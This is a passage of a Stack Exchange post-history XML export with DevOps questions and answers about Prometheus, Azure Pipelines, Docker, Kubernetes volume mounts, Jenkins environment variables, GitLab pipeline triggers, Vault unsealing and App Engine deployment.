  <row Id="19246" PostHistoryTypeId="2" PostId="6000" RevisionGUID="624d1871-0bec-4ec8-b076-48bb6bdd74ba" CreationDate="2019-01-15T22:58:47.637" UserId="8109" Text="I recommend trying your best to ensure the pipeline is less than 10 minutes. You can execute your tests in parallel to enable this. &#xD;&#xA;As jonas answered they can then spend time creating a pull request (while the pipeline is running). &#xD;&#xA;&#xD;&#xA;Context switching is bad for productivity so rather than picking up another task, I recommend the developer use that time to work on anything else related to the change he just made. Maybe there’s some documentation that could be updated related to this. If it’s a noteworthy feature he could create a short gif showing how to work with it. Even looking at their code change again may help them think how they could improve it next time. This time could also be used in reviewing other developers pull requests and code changes. &#xD;&#xA;&#xD;&#xA;If they move onto developing another feature in that 10 minutes it’s likely it’ll be longer than 10 minutes before they get back to it and the work will be less fresh in their mind. If the CI then fails, it will be harder for them to remember what could have gone wrong and fix the code." ContentLicense="CC BY-SA 4.0" />
  <row Id="19247" PostHistoryTypeId="2" PostId="6001" RevisionGUID="5ae0103d-06dd-4ce2-aea2-02ae9da6a067" CreationDate="2019-01-15T23:21:54.717" UserId="7118" Text="I'm getting started with Prometheus (Prometheus Operator), and I'm looking at adding it to an existing cluster, where each container has a `/healthcheck` endpoint, that is going to either return true, or an error. &#xD;&#xA;&#xD;&#xA;I'm currently playing around with the [kube-prometheus instructions here][1] in a sandbox cluster, and that basic setup is working, whereby I can monitor Memory/CPU/NetworkIO on each of my pods. &#xD;&#xA;&#xD;&#xA;As a starting point, I want to: &#xD;&#xA;&#xD;&#xA;- Add a generic rule that adds `/healthcheck` as a Prometheus target. &#xD;&#xA;- Create a dashboard in Grafana that displays a grid of red/green panels for each pod. &#xD;&#xA;&#xD;&#xA;How do I go about setting up the `/healthcheck` endpoint as a target? I've looked at the the out of the box [prometheus-rules.yaml][2] but I can't really make sense of it. &#xD;&#xA;&#xD;&#xA;In terms of what I'm looking for in an answer here, is a series of high level step by step instructions, with links to documentation or concepts that are relevant. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://%20https://github.com/coreos/prometheus-operator/tree/master/contrib/kube-prometheus&#xD;&#xA;  [2]: https://github.com/coreos/prometheus-operator/blob/master/contrib/kube-prometheus/manifests/prometheus-rules.yaml" ContentLicense="CC BY-SA 4.0" />
  <row Id="19248" PostHistoryTypeId="1" PostId="6001" RevisionGUID="5ae0103d-06dd-4ce2-aea2-02ae9da6a067" CreationDate="2019-01-15T23:21:54.717" UserId="7118" Text="How do I set up a Prometheus rule to routinely scrape an HTTP endpoint?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19249" PostHistoryTypeId="3" PostId="6001" RevisionGUID="5ae0103d-06dd-4ce2-aea2-02ae9da6a067" CreationDate="2019-01-15T23:21:54.717" UserId="7118" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19251" PostHistoryTypeId="2" PostId="6003" RevisionGUID="01259333-c52d-4a33-9f61-7066da3c3b80" CreationDate="2019-01-16T05:52:44.500" UserId="7896" Text="&gt; Using configure option, when we check the environment variables, we&#xD;&#xA;&gt; get only the variables which are available with in the folder or job.&#xD;&#xA;&gt; But, I want to get complete list of env variable from the root folder&#xD;&#xA;&gt; to the folder/job, which I want to see." ContentLicense="CC BY-SA 4.0" />
  <row Id="19252" PostHistoryTypeId="1" PostId="6003" RevisionGUID="01259333-c52d-4a33-9f61-7066da3c3b80" CreationDate="2019-01-16T05:52:44.500" UserId="7896" Text="How to get list of env variables from the root folder to jenkins job?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19253" PostHistoryTypeId="3" PostId="6003" RevisionGUID="01259333-c52d-4a33-9f61-7066da3c3b80" CreationDate="2019-01-16T05:52:44.500" UserId="7896" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;configuration&gt;&lt;environment-variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19258" PostHistoryTypeId="2" PostId="6005" RevisionGUID="9b4a5ac0-6295-4f1b-b64e-a966bfd39c04" CreationDate="2019-01-16T11:35:54.313" UserId="3978" Text="I'm looking at moving to Azure and using Azure Pipelines (I've used Jenkins before now) - I plan to deploy to Azure Kubernetes Service and store my Docker images in an Azure Container Registry.  Using Azure DevOps/Pipelines to integrate with Azure's own services would seem to be simplest approach.&#xD;&#xA;&#xD;&#xA;I've got a small collection of applications to deploy - about 30 or so.  In the Jenkins world I had a Git repository containing my job definitions written in Jenkins Job DSL language and a seed job that would create all 30 Jenkins &quot;pipelines&quot; for me.&#xD;&#xA;&#xD;&#xA;Can I do this with Azure Devops?  Is there an equivalent to a seed job process in Azure Devops?&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;https://devops.stackexchange.com/questions/5158/jenkinsfile-equivalent-in-azure-repos looks to be a similar question (but not identical).  " ContentLicense="CC BY-SA 4.0" />
  <row Id="19259" PostHistoryTypeId="1" PostId="6005" RevisionGUID="9b4a5ac0-6295-4f1b-b64e-a966bfd39c04" CreationDate="2019-01-16T11:35:54.313" UserId="3978" Text="Azure DevOps/Pipelines seed job equivalent?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19260" PostHistoryTypeId="3" PostId="6005" RevisionGUID="9b4a5ac0-6295-4f1b-b64e-a966bfd39c04" CreationDate="2019-01-16T11:35:54.313" UserId="3978" Text="&lt;jenkins&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19261" PostHistoryTypeId="5" PostId="6005" RevisionGUID="c95121f4-8445-4d11-b29d-3e87be28abbb" CreationDate="2019-01-16T11:42:24.730" UserId="3978" Comment="edited body" Text="I'm looking at moving to Azure and using Azure Pipelines (I've used Jenkins before now) - I plan to deploy to Azure Kubernetes Service and store my Docker images in an Azure Container Registry.  Using Azure DevOps/Pipelines to integrate with Azure's own services would seem to be simplest approach.&#xD;&#xA;&#xD;&#xA;I've got a small collection of applications to deploy - about 30 or so.  In the Jenkins world I had a Git repository containing my job definitions written in Jenkins Job DSL language and a seed job that would create all 30 Jenkins &quot;pipelines&quot; for me.&#xD;&#xA;&#xD;&#xA;Can I do this with Azure DevOps?  Is there an equivalent to a seed job process in Azure DevOps?&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;https://devops.stackexchange.com/questions/5158/jenkinsfile-equivalent-in-azure-repos looks to be a similar question (but not identical).  " ContentLicense="CC BY-SA 4.0" />
  <row Id="19266" PostHistoryTypeId="2" PostId="6007" RevisionGUID="dab43afa-4bf7-4464-a514-b72054fe2816" CreationDate="2019-01-16T12:07:16.610" UserId="3978" Text="I'm new to Azure DevOps so I may be wrong.&#xD;&#xA;&#xD;&#xA;You can store your Azure Pipeline configuration in YAML format and this can be stored in the code repository (like a Jenkinsfile).&#xD;&#xA;&#xD;&#xA;For further pipeline details see:&#xD;&#xA;&#xD;&#xA;[Create your first pipeline](https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started-yaml)&#xD;&#xA;&#xD;&#xA;[YAML schema reference](https://docs.microsoft.com/en-us/azure/devops/pipelines/yaml-schema)&#xD;&#xA;&#xD;&#xA;It looks like you can configure Azure Pipelines to scan your organization repos in GitHub.&#xD;&#xA;&#xD;&#xA;[Build GitHub repositories](https://docs.microsoft.com/en-us/azure/devops/pipelines/repos/github)&#xD;&#xA;&#xD;&#xA;The above documentation does warn that this feature is being **actively being improved** - so it may change in the future.&#xD;&#xA;&#xD;&#xA;You need also configure Azure Pipelines access using the GitHub app:&#xD;&#xA;&#xD;&#xA;https://github.com/apps/azure-pipelines/installations/new/permissions" ContentLicense="CC BY-SA 4.0" />
  <row Id="19267" PostHistoryTypeId="5" PostId="5973" RevisionGUID="76c2ef75-03f5-4daa-acad-a1396d14fa07" CreationDate="2019-01-16T12:09:48.560" UserId="11805" Comment="added 1 character in body" Text="I'm currently trying to scale a crawler in the cloud.  &#xD;&#xA;I'm wondering what would be the best way to automate the work-flow, considering the following conditions:  &#xD;&#xA;- Guaranteed bandwidth, CPU and memory per crawler, no matter how many crawls are running in parallel.  &#xD;&#xA;- Sometimes there are 3 crawlers running at the same time, sometimes 10000.  &#xD;&#xA;- There is no need of communication between crawlers, and no shared queue.  &#xD;&#xA;- The crawl should start quickly after the demand of the user. &#xD;&#xA;&#xD;&#xA;The potential &quot;work-flow&quot; could be:  &#xD;&#xA;1 - A user pushes a button to start a crawl.   &#xD;&#xA;2 - An API receives the request.   &#xD;&#xA;3 - The API asks if there is a container available to start a crawl.  &#xD;&#xA;Here 2 options:  &#xD;&#xA;3a - A container was in stand-by, ready to start .  &#xD;&#xA;3b - No container available, so a new container is started .   &#xD;&#xA;4 - The IP:PORT of the container is sent to the API, and tagged as &quot;reserved&quot; .   &#xD;&#xA;5 - The API receives the IP:PORT .  &#xD;&#xA;6 - The API sends the request to http://IP:PORT with the required parameters to start the crawl (URL, etc.).  &#xD;&#xA;Here 2 options:  &#xD;&#xA;6a - Expected behavior: The crawl starts.  &#xD;&#xA;=&gt; A new container is started and is tagged as &quot;available&quot; mode for potential new crawl to come.  &#xD;&#xA;6b - Unexpected behavior: The request to start the crawl doesn't reach the target.  &#xD;&#xA;=&gt; The container is tagged as &quot;available&quot; after n seconds without being used to start a crawl.  &#xD;&#xA;7 - The container used for the crawl is deleted.  &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19268" PostHistoryTypeId="5" PostId="6007" RevisionGUID="fa39f03c-ab23-49ff-8095-2356db37d960" CreationDate="2019-01-16T12:15:51.583" UserId="3978" Comment="deleted 6 characters in body" Text="I'm new to Azure DevOps so I may be wrong.&#xD;&#xA;&#xD;&#xA;You can store your Azure Pipeline configuration, *azure-pipelines.yml*,  in YAML format and this can be stored in the code repository (like a Jenkinsfile).&#xD;&#xA;&#xD;&#xA;For further pipeline details see:&#xD;&#xA;&#xD;&#xA;[Create your first pipeline](https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started-yaml)&#xD;&#xA;&#xD;&#xA;[YAML schema reference](https://docs.microsoft.com/en-us/azure/devops/pipelines/yaml-schema)&#xD;&#xA;&#xD;&#xA;It looks like you can configure Azure Pipelines to scan your organization repos in GitHub.&#xD;&#xA;&#xD;&#xA;[Build GitHub repositories](https://docs.microsoft.com/en-us/azure/devops/pipelines/repos/github)&#xD;&#xA;&#xD;&#xA;The above documentation does warn that this feature is **actively being improved** - so it may change in the future.&#xD;&#xA;&#xD;&#xA;You need also configure Azure Pipelines access using the GitHub app:&#xD;&#xA;&#xD;&#xA;https://github.com/apps/azure-pipelines/installations/new/permissions" ContentLicense="CC BY-SA 4.0" />
  <row Id="19269" PostHistoryTypeId="5" PostId="6007" RevisionGUID="e93627fd-f0bd-4503-a35b-4aad876fc43d" CreationDate="2019-01-16T12:20:52.383" UserId="3978" Comment="deleted 6 characters in body" Text="I'm new to Azure DevOps so I may be wrong.&#xD;&#xA;&#xD;&#xA;You can store your Azure Pipeline configuration, *azure-pipelines.yml*,  in YAML format and this can be stored in the code repository (like a Jenkinsfile).&#xD;&#xA;&#xD;&#xA;For further pipeline details see; [Create your first pipeline](https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started-yaml) and [YAML schema reference](https://docs.microsoft.com/en-us/azure/devops/pipelines/yaml-schema).&#xD;&#xA;&#xD;&#xA;It looks like you can configure Azure Pipelines to scan your organization repos in [Azure Repos](https://docs.microsoft.com/en-us/azure/devops/pipelines/repos/azure-repos-git) and [GitHub](https://docs.microsoft.com/en-us/azure/devops/pipelines/repos/github)&#xD;&#xA;&#xD;&#xA;The GitHub documentation does warn that this feature is **actively being improved** - so it may change in the future.&#xD;&#xA;&#xD;&#xA;For GitHub you need also configure Azure Pipelines access using the GitHub app:&#xD;&#xA;&#xD;&#xA;https://github.com/apps/azure-pipelines/installations/new/permissions" ContentLicense="CC BY-SA 4.0" />
  <row Id="19270" PostHistoryTypeId="2" PostId="6008" RevisionGUID="1c30bc68-d592-48b8-ad6d-822c5bcf91ec" CreationDate="2019-01-16T12:33:39.860" UserId="11832" Text="I don't have reputation to comment, so I am writing here, first thing first - two containers cannot run on the same host port, while one container is running or stopped, the port is still attached to it, so that same host port scenario won't come in your case. &#xD;&#xA;&#xD;&#xA;Regarding changing the volume mount and to run under another port, you can remove the container A and then start another container with either same name or different name and mount point and ports(free ports) as you want them too.&#xD;&#xA;```&#xD;&#xA;docker stop A;docker rm A;&#xD;&#xA;docker run --ti \&#xD;&#xA;           --name A \&#xD;&#xA;           -p &lt;desrired host port:desired container port&gt; \&#xD;&#xA;           -v &lt;desired mount point:container mount point&gt; \&#xD;&#xA;           -d your_image:tag&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="19271" PostHistoryTypeId="2" PostId="6009" RevisionGUID="56a768f3-b2fc-4e05-958e-0e168f86992d" CreationDate="2019-01-16T12:49:45.177" UserId="11861" Text="AWS EC2 Spot. My Spot Max Bid Price - 2$.  Current Spot Price - 1$. How much I'll pay for instance? 2$ per hour or 1$ (and increasing|decreasing), equal to Current spot price, while my bid price is less than current (and get an error if current is more than my bid). Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="19272" PostHistoryTypeId="1" PostId="6009" RevisionGUID="56a768f3-b2fc-4e05-958e-0e168f86992d" CreationDate="2019-01-16T12:49:45.177" UserId="11861" Text="How much I will pay for AWS spot: my bid or current spot price?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19273" PostHistoryTypeId="3" PostId="6009" RevisionGUID="56a768f3-b2fc-4e05-958e-0e168f86992d" CreationDate="2019-01-16T12:49:45.177" UserId="11861" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19274" PostHistoryTypeId="5" PostId="6008" RevisionGUID="045e49d1-3464-4630-8246-1479743f871f" CreationDate="2019-01-16T12:50:18.740" UserId="40" Comment="remove noise" Text="First thing first - two containers cannot run on the same host port, while one container is running or stopped, the port is still attached to it, so that same host port scenario won't come in your case. &#xD;&#xA;&#xD;&#xA;Regarding changing the volume mount and to run under another port, you can remove the container A and then start another container with either same name or different name and mount point and ports(free ports) as you want them too.&#xD;&#xA;```&#xD;&#xA;docker stop A;docker rm A;&#xD;&#xA;docker run --ti \&#xD;&#xA;           --name A \&#xD;&#xA;           -p &lt;desrired host port:desired container port&gt; \&#xD;&#xA;           -v &lt;desired mount point:container mount point&gt; \&#xD;&#xA;           -d your_image:tag&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="19275" PostHistoryTypeId="2" PostId="6010" RevisionGUID="9173254b-78e0-4c42-a3b7-156c2337cd6e" CreationDate="2019-01-16T13:15:29.077" UserId="11832" Text="If I understand you question clearly, you're trying to mount ```/jaeger-data``` inside the elastic-search container or pod. To achieve this, what you can do is put this mount details inside the statefulset yaml of the Kubernetes pod for elastic-search. Using the volumeMounts inside the statefulset, you will not need to ssh or exec inside the container or bother about the change or container ID for each pod restart/recreation. You can use the below example as a reference for your **PVC** and **volumeMounts**, just edit your statefulset using ```kubectl edit sts elasticsearch-0 -n default```, this will open an editor and you can replace you PVC details in the below yaml and append and save and exit will recreate your pod and attach the mountpoint:&#xD;&#xA;```&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - mountPath: /es-storage&#xD;&#xA;              name: jaeger-data&#xD;&#xA;  volumeClaimTemplates:&#xD;&#xA;  - metadata:&#xD;&#xA;      name: es-storage&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;      - ReadWriteOnce&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: 100Gi&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Container ID will change with each recreation of containers;&#xD;&#xA;- If in case you need to exec into the container, the better way is to use ```kubectl exec -ti &lt;pod-name&gt; -n &lt;namespace&gt; bash``` to exec into the container from any of the master node(similar command as docker exec, just replace pod-name and namespace) or from your local laptop if you have kubeconfig configured.&#xD;&#xA;- Using **Service**, you can expose this application on a particular port, Kubernetes creates an abstraction and itself takes care of the change of pod IP" ContentLicense="CC BY-SA 4.0" />
  <row Id="19276" PostHistoryTypeId="5" PostId="6007" RevisionGUID="15d9b669-707c-4e69-a7f2-3f20e96d9e7d" CreationDate="2019-01-16T13:30:19.240" UserId="3978" Comment="added 101 characters in body" Text="I'm new to Azure DevOps so I may be wrong - I think you are asking about using a Jenkins plugin to scan Azure Repos for Jenkinsfiles.&#xD;&#xA;&#xD;&#xA;If you were moving to Azure DevOps, you can store your Azure Pipeline configuration, *azure-pipelines.yml*,  in YAML format and this can be stored in the code repository (like a Jenkinsfile).&#xD;&#xA;&#xD;&#xA;For further pipeline details see; [Create your first pipeline](https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started-yaml) and [YAML schema reference](https://docs.microsoft.com/en-us/azure/devops/pipelines/yaml-schema).&#xD;&#xA;&#xD;&#xA;It looks like you can configure Azure Pipelines to scan your organization repos in [Azure Repos](https://docs.microsoft.com/en-us/azure/devops/pipelines/repos/azure-repos-git) and [GitHub](https://docs.microsoft.com/en-us/azure/devops/pipelines/repos/github)&#xD;&#xA;&#xD;&#xA;The GitHub documentation does warn that this feature is **actively being improved** - so it may change in the future.&#xD;&#xA;&#xD;&#xA;For GitHub you need also configure Azure Pipelines access using the GitHub app:&#xD;&#xA;&#xD;&#xA;https://github.com/apps/azure-pipelines/installations/new/permissions" ContentLicense="CC BY-SA 4.0" />
  <row Id="19277" PostHistoryTypeId="2" PostId="6011" RevisionGUID="b928431b-1f5e-4180-a08d-e0d69602fa1c" CreationDate="2019-01-16T13:38:30.553" UserId="11832" Text="AFAIK, ***environment variables*** are not folder/directory specific, but user specific, that means, for any user its loaded when the user logins into the shell or source the profile which contains the added environment variables (like ~/.bash_profile). So, if your environment variables are present at root directory, it should be present at the folder/job level as well unless your new bash where this job is running, doesn't loads the environment variable, for which you can test them using the below commands in the job to see if those variables are present or not:&#xD;&#xA;```&#xD;&#xA;pwd&#xD;&#xA;echo $PATH&#xD;&#xA;env&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;if not present, you can source your profile in the job using ```. .bash_profile``` and check if all variables are present or not" ContentLicense="CC BY-SA 4.0" />
  <row Id="19278" PostHistoryTypeId="2" PostId="6012" RevisionGUID="14b75e18-7b40-4d9c-a888-38601910c41e" CreationDate="2019-01-16T13:50:19.093" UserId="11863" Text="Instead of writing your own Dockerfile, you can simply pass auth through environment variables to official images, I use compose file something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: '3.1'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  mongo:&#xD;&#xA;    image: mongo&#xD;&#xA;    restart: always&#xD;&#xA;    container_name: mongo&#xD;&#xA;    environment:&#xD;&#xA;      MONGO_INITDB_ROOT_USERNAME: root&#xD;&#xA;      MONGO_INITDB_ROOT_PASSWORD: abcd&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;27017:27017&quot;&#xD;&#xA;    volumes: &#xD;&#xA;      - ./databases:/data/db&#xD;&#xA;&#xD;&#xA;  mongo-express:&#xD;&#xA;    image: mongo-express&#xD;&#xA;    restart: always&#xD;&#xA;    container_name: mongo-express&#xD;&#xA;    ports:&#xD;&#xA;      - 8081:8081&#xD;&#xA;    environment:&#xD;&#xA;      ME_CONFIG_MONGODB_ADMINUSERNAME: root&#xD;&#xA;      ME_CONFIG_MONGODB_ADMINPASSWORD: abcd&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;you can have your database persisted in ./databases folder and nice in browser ui at port :8081" ContentLicense="CC BY-SA 4.0" />
  <row Id="19279" PostHistoryTypeId="2" PostId="6013" RevisionGUID="1cb8e4c2-e277-46a2-a1b1-587c42f6d978" CreationDate="2019-01-16T14:53:02.383" UserId="11832" Text="I agree with @alitheg answer, and to add two my cents, sequence of commands to be executed by you or any 3 colleagues of yours who has possession of the vault unseal token&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;export VAULT_ADDR=https://vault.yourcompany.com  # Address of your Vault&#xD;&#xA;export VAULT_SKIP_VERIFY=true                    # this can be skipped, if you use a proper certificate and not self-signed certificate&#xD;&#xA;vault status                                     # to check the vault status&#xD;&#xA;vault unseal                                     # this will ask for the vault unseal token&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="19280" PostHistoryTypeId="2" PostId="6014" RevisionGUID="3072ccc4-2da6-42d5-81a1-eb1b6edac1b8" CreationDate="2019-01-16T15:54:15.190" UserId="11832" Text="In your job, I noticed the below curl command, where two things need to be corrected:&#xD;&#xA;&#xD;&#xA;- ```token=$CI_JOB_TOKEN``` - this TOKEN should be generated in project B under Settings -&gt; CI/CD -&gt; Pipeline triggers (Add triggers)&#xD;&#xA;&#xD;&#xA;- ```&quot;ref=$CI_COMMIT_REF_NAME&quot;``` - this is pointing to a branch with name $CI_COMMIT_REF_NAME on project B and this will only execute if it find a project with that branch name, so if you are trying to trigger it on master branch or any specific branch, you should replace it with something like ```-F &quot;ref=master&quot; ``` in your curl command&#xD;&#xA;```&#xD;&#xA; - curl -X POST -F &quot;token=$CI_JOB_TOKEN&quot; -F &quot;ref=$CI_COMMIT_REF_NAME&quot; https://gitlab.com/api/v4/projects/1234/trigger/pipeline&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I use the same trigger with few variables to execute one of my job in another project&#xD;&#xA;```&#xD;&#xA;- &quot;curl -k -X POST -F token=$PROJECT_B_TOKEN -F ref=master -F variables[PROJECT_NAME]=$CI_PROJECT_NAME -F variables[TAG]=$CI_BUILD_REF_NAME -F variables[SOME_VARIABLE_IDENTIFIER]=DevOps -F variables[USER]=$GITLAB_USER_LOGIN https://gitlab.mycompany.com/api/v4/projects/1234/trigger/pipeline&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The person who created in token in project B, needs to be owner in project A to execute this trigger, else it fails with a 404 message." ContentLicense="CC BY-SA 4.0" />
  <row Id="19282" PostHistoryTypeId="2" PostId="6016" RevisionGUID="8e3c83c1-b7fb-455a-9653-1fdab1f9124b" CreationDate="2019-01-16T17:22:58.597" UserId="11832" Text="Check this out - [SO question on moving git repo][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/11426261/4864827&#xD;&#xA;&#xD;&#xA;You probably would need to add automation around this since you want to move all repos." ContentLicense="CC BY-SA 4.0" />
  <row Id="19285" PostHistoryTypeId="2" PostId="6017" RevisionGUID="f29b7545-4050-4a78-8874-4fb08f4311c6" CreationDate="2019-01-17T07:56:00.783" UserId="11598" Text="I recommend that you use the **printenv** command for list system Variable:&#xD;&#xA;&#xD;&#xA;    printenv&#xD;&#xA;&#xD;&#xA;and also An easy way to obtain the Jenkins environment variables list from your local installation is to append env-vars.html to the server's URL. the URL would be &#xD;&#xA;&#xD;&#xA;`http://{jenkins_url}/env-vars.html`&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19286" PostHistoryTypeId="2" PostId="6018" RevisionGUID="1db91c5b-01c5-4ad7-bfbd-7665eab8e346" CreationDate="2019-01-17T08:00:14.743" UserId="11598" Text="Have a look at the [Summary Display plugin][1]. Some more details about it (= quote from the linked page):&#xD;&#xA;&#xD;&#xA;&gt; ... allows an easy and fully customized build report display.&#xD;&#xA;&#xD;&#xA;&gt; Features&#xD;&#xA;&#xD;&#xA;&gt; - Allow a rich summary report visible from both project and build page&#xD;&#xA;&gt; - Reports must be written in an XML format according to the syntax described in section Syntax Description&#xD;&#xA;&gt; - This plugin allow the parsing of several XML files&#xD;&#xA;&gt; - Reports displayed are ordered according to the XML file names&#xD;&#xA;&gt; - Element displayed are based on&#xD;&#xA;&#xD;&#xA;In general, the answer to such questions is usually found by searching the endless [Jenkins plugin index][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Summary+Display+Plugin&#xD;&#xA;  [2]: https://plugins.jenkins.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19287" PostHistoryTypeId="50" PostId="4350" RevisionGUID="e4ea3508-e091-451f-b16c-35d58ec89646" CreationDate="2019-01-17T08:02:10.460" UserId="-1" />
  <row Id="19288" PostHistoryTypeId="2" PostId="6019" RevisionGUID="50474352-b6e5-4a18-b2fe-30066d22ea20" CreationDate="2019-01-17T10:54:57.620" UserId="11527" Text="For [continuous delivery](https://devops.stackexchange.com/a/493), we do manual deployment after generating binary artifacts from Jenkins pipeline(in an automated process).&#xA;&#xA;Further, &#xA;for [continuous deployment](https://devops.stackexchange.com/a/493), we would like to use IBM UrbanCode tool to automate provisioning and configuration of services  on  both AWS cloud and Azure cloud.&#xA;&#xA;---------------&#xA;&#xA;1) Does IBM UrbanCode tool help provisioning and configuration of services to AWS and Azure cloud?&#xA;&#xA;2) Does Jenkins support plugin to work with IBM UrbanCode deploy tool? To deploy on AWS and Azure cloud&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19289" PostHistoryTypeId="1" PostId="6019" RevisionGUID="50474352-b6e5-4a18-b2fe-30066d22ea20" CreationDate="2019-01-17T10:54:57.620" UserId="11527" Text="Jenkins - IBM UrbanCode - AWS &amp; Azure" ContentLicense="CC BY-SA 4.0" />
  <row Id="19290" PostHistoryTypeId="3" PostId="6019" RevisionGUID="50474352-b6e5-4a18-b2fe-30066d22ea20" CreationDate="2019-01-17T10:54:57.620" UserId="11527" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;aws-cloudformation&gt;&lt;ibm-bluemix&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19291" PostHistoryTypeId="2" PostId="6020" RevisionGUID="af5c1bd8-f03d-4b25-abea-4e2346927af7" CreationDate="2019-01-17T11:00:10.560" UserId="11880" Text="We have two instances of Artifactory for Prod and Non-Prod.&#xD;&#xA;&#xD;&#xA;Normal syncing happens via a pull mechanism by the Prod instance.&#xD;&#xA;&#xD;&#xA;Is it possible to also have an additional push event sync from Non Prod instance to the Prod that we would use for hotfixes.&#xD;&#xA;&#xD;&#xA;cheers,&#xD;&#xA;Rob" ContentLicense="CC BY-SA 4.0" />
  <row Id="19292" PostHistoryTypeId="1" PostId="6020" RevisionGUID="af5c1bd8-f03d-4b25-abea-4e2346927af7" CreationDate="2019-01-17T11:00:10.560" UserId="11880" Text="Additional push event syncing between Artifactory instances" ContentLicense="CC BY-SA 4.0" />
  <row Id="19293" PostHistoryTypeId="3" PostId="6020" RevisionGUID="af5c1bd8-f03d-4b25-abea-4e2346927af7" CreationDate="2019-01-17T11:00:10.560" UserId="11880" Text="&lt;artifactory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19297" PostHistoryTypeId="2" PostId="6022" RevisionGUID="8f95898b-d2c9-49a2-9691-ecbae9719e6d" CreationDate="2019-01-17T12:26:23.190" UserId="11882" Text="I was asked to use Docker Hub as part of a build/deploy pipeline.&#xD;&#xA;I am supposed to provide some authentication credentials to a third-party tool, so that this tool can push container images to private repos.&#xD;&#xA;&#xD;&#xA;Now, I don't see any place where I can generate secrets/API key that are safe to give to that third-party. Am I missing something? In Amazon for example I can create roles with IAM. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19298" PostHistoryTypeId="1" PostId="6022" RevisionGUID="8f95898b-d2c9-49a2-9691-ecbae9719e6d" CreationDate="2019-01-17T12:26:23.190" UserId="11882" Text="How do we create credentials for Docker Hub?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19299" PostHistoryTypeId="3" PostId="6022" RevisionGUID="8f95898b-d2c9-49a2-9691-ecbae9719e6d" CreationDate="2019-01-17T12:26:23.190" UserId="11882" Text="&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19300" PostHistoryTypeId="2" PostId="6023" RevisionGUID="e9392094-00f9-4bd0-8944-276c59c52308" CreationDate="2019-01-17T15:05:51.227" UserId="11220" Text="How to deploy from Gitlab CI to AppEngine Standard environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19301" PostHistoryTypeId="1" PostId="6023" RevisionGUID="e9392094-00f9-4bd0-8944-276c59c52308" CreationDate="2019-01-17T15:05:51.227" UserId="11220" Text="How to deploy to Appengine standard from gitlab CI?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19302" PostHistoryTypeId="3" PostId="6023" RevisionGUID="e9392094-00f9-4bd0-8944-276c59c52308" CreationDate="2019-01-17T15:05:51.227" UserId="11220" Text="&lt;cicd&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19304" PostHistoryTypeId="2" PostId="6025" RevisionGUID="aff34ed2-1851-4674-b917-6b54843dbeee" CreationDate="2019-01-17T17:29:08.053" UserId="47" Text="AFAIK there are only 2 ways of deploying GAE apps:&#xD;&#xA;&#xD;&#xA;- using the [`gcloud app deploy`][1] command:&#xD;&#xA;&#xD;&#xA;&gt; gcloud app deploy - deploy the local code and/or configuration of your&#xD;&#xA;&gt; app to App Engine&#xD;&#xA;&#xD;&#xA;- using the Admin API. From [Deploying Your Apps with the Admin API][2]:&#xD;&#xA;&#xD;&#xA;&gt; To deploy a version of your app with the Admin API:&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. [Upload your app's resources to Cloud Storage][3].&#xD;&#xA;&gt; 2. [Create a configuration file that defines your deployment][4].&#xD;&#xA;&gt; 3. [Create and send the HTTP request for deploying your app][5].&#xD;&#xA;&#xD;&#xA;Both `gcloud` (used in the 1st method) as well as `gsutil` (used in the 1st step of the 2nd method) are part of the [Google Cloud SDK][6], so you'll need to have the SDK installed on your runner.&#xD;&#xA;&#xD;&#xA;Summarizing the required steps from a GAE 